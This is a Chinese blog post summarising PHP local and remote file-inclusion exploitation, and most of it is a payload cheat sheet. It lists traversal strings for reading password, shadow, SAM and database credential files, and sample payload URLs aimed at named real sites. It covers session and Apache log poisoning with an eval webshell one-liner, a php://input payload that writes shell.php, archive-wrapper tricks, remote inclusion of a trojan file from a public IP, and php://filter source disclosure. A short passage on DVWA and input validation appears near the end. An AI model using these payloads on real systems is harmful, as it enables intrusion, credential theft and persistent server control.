文件包含漏洞利用技术总结

img

开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。

allow_url_fopen = On(是否允许打开远程文件)

allow_url_include = On(默认关闭,是否允许include/require远程文件)该选项为on便是允许 包含URL 对象文件等。

PHP版本<=5.2 可以使用%00进行截断。(能截断的php版本都小于5.3)

漏洞挖掘payload

Linux**:**

…/…/…/…/…/…/…/…/etc/passwd // 账户信息

etc/passwd%00

…//…//etc/passwd

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

/etc/issue

/etc/group

/etc/hosts

/etc/motd

/etc/mysql/my.cnf

/proc/self/environ

/proc/version

/proc/cmdline

Windows

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

乌云****payload

…/…/…/…/…/…/…/…/…/…/etc/passwd

…/…/…/…/…/…/…/…/…/…/home/img/odp/log/access_log

./…/…/…/…/…/…/…/…/etc/passwd%00

…/…/ierp/bin/prop.xml

http://red.xunlei.com/index.php?id=…/test.php%00&r=site/news

pagename=znjl&url=/WEB-INF/web.xml&errpage=/WEB-INF/web.xml

http://...//index.php?index=a&skin=&dataoptimize_html=/…/…/…/favicon.ico

…%2FWEB-INF%2Fweb.xml

…/WEB-INF/mvc-servlet.xml

本地包含

包含同目录下的文件

?file=test.txt

目录遍历

?file=./…/…/test.txt

包含图片马

先上传jpg图片木马,然后本地文件包含,如以下案例:

img

Session文件包含

前提:

1.seesion存储的位置

2.sesion内容可控

Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。

img

假设漏洞代码如下所示:

<?php session_start(); $ctfs= $_GET['ctfs']; $_SESSION['username']=$ctfs; ?>

可以利用GET型ctfs参数将而已代码写入Session文件中,然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs=%3C?php phpinfo(); ?> 将php语句写入session中

http://127.0.0.1/test.php?filename=C:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件session文件名**(真正的文件名默认都有个前缀就是sess_)**

img

本地包含配合apache日志拿shell

apache日志分为access.log与error.log,当我们请求一个url地址时,便会记录在access.log中,但如果访问一个不存在的页面,便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/*<?php eval([$_POST]);?>*则会将一句话写入到access.log中,但是一般来说,写入到access.log文件中的一句话是被编码的,所以需要抓包绕过,而且利用此漏洞需要知道access.log的地址,不然便没有。

利用/proc/self/environ进行包含

img

php://input(写入木马)

前提:php配置文件中需同时开启 allow_url_fopen 和 allow_url_include(PHP < 5.3.0)

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

img

zip://, bzip2://, zlib://

协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

思路:(也是上传之后包含文件)

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

bzip2://协议

使用方法:

compress.bzip2://file.bz2

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

zlib://协议

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

远程文件包含

远程文件包含的时候一句话木马后缀不能为php。

需要开启allow_url_include = On

http://127.0.0.1/test.php?filename=http://公网IP/muma.txt

伪协议

Ctf常用

?action=php://filter/read=convert.base64-encode/resource=login.php (Base64加密)

  • 33
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
DVWA文件包含漏洞利用是指利用DVWA(Damn Vulnerable Web Application)中存在的文件包含漏洞进行攻击。文件包含漏洞是一种常见的安全漏洞,它允许攻击者通过构造恶意请求来包含并执行服务器上的任意文件。 在DVWA中,可以使用包含漏洞来访问系统中的敏感文件、执行恶意代码或者获取系统权限。攻击者可以通过构造特定的请求,利用DVWA中的文件包含漏洞来获取敏感信息或者执行任意代码。 为了利用DVWA中的文件包含漏洞,攻击者通常会使用一些常见的函数,如php中的include()、include_once()、require()、require_once()等。通过构造恶意的文件路径,攻击者可以让服务器加载并执行恶意文件。 因此,为了防止文件包含漏洞的利用,开发人员应该在编写代码时注意对用户输入进行过滤和验证,避免将用户输入直接用于文件包含函数中的参数。同时,及时更新和修补系统和应用程序的漏洞也是非常重要的。 #### 引用[.reference_title] - *1* *2* *3* [DVWA之包含漏洞(file Inclusion)——文件包含漏洞产生的原因、文件包含漏洞的利用方式、DVWA之包含漏洞...](https://blog.csdn.net/weixin_45116657/article/details/100602769)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑战士安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值